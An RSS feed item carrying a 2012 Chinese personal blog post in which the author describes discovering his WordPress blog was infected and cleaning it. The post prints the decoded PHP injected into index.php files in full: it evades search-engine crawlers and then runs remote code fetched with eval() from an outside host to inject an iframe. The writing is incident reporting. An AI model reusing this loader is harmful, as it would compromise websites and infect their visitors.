且行且远 - 木马
type: channel
link: https://blog.ssfighter.com/index.php/tag/%E6%9C%A8%E9%A9%AC/
items: 一次被挂马的经历

一次被挂马的经历
type: item
date: 2012-07-02T14:21:16+08:00
description: 今天早晨登录自己的博客，忽然发现被报成了有害站点，一查，Google说该网站被挂马了，很奇怪啊，我自己这么小的网站都会被挂马？一开始还不太相信，因为自己看页面源代码的时候一点问题都没有，还以为是Google搞错了，后来用Rex Swain’s HTTP Viewer看了一下才发现，原来我的http://blog.ssfighter.com/果然有一个iframe：看来果然是被挂马了，可是我的主页上却没有被挂马，相册、维基也没事，而在我空间上挂的别人的博客却也被挂上了一样的木马，非常奇怪，但却死活都找不到木马到底挂在了哪个文件上。grep了一通也没找到，最后从网上下载了一份新的Wordpress，把自己Wordpress的代码和干净的Wordpress比对了一下，发现了点问题，在wp-content/index.php文件里面发现了这么一段：看来这就是问题所在，用Base64给那一大堆字符解码，可以看到：error_reporting(0); set_time_limit(0); $z37="stats"; $ua3=$_SERVER["HTTP_USER_AGENT"]; $u37 = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler", "Mac", "inux", "X11"); if((preg_match("/" . implode("|", $u37) . "/i", $ua3)) or (isset($_SERVER["HTTP_REFERER"]) ==0) or (isset($_SERVER["HTTP_COOKIE"])) or (isset($_SERVER["HTTP_USER_AGENT"]) ==0) ) {} else { @setcookie($z37,md5("stats"),time()+172800); $url = "http://4040ent.com/session.php?id"; $iframe=@eval(file_get_contents ($url)); if ($iframe) echo($iframe); }果然，这里就是挂的马，这个68066的注释很有意思，正好用这个作为特征值在wordpress目录下用grep扫一遍：grep -r '68066' ./可以发现所有的index.php文件都被挂马了，再回到www的根目录下发现果然是所有的index.php都在头上加了这么一段，把这些东西都清除掉，万事大吉。再查，在非www目录里的index.php都没有被感染。很抱歉一直没发现自己的博客被挂马，影响了大家，真对不起。我已经向Google申请review，希望能尽快把这个“已被报告的攻击站点”给去掉。最后总结一下，尽管是小站，还是要多加注意，以前完全没想到自己一个个人的小站也会被挂马，没仔细查原因，看起来似乎是从FTP那边进攻的，先把FTP服务给关掉好了，反正自己一时半会也用不到。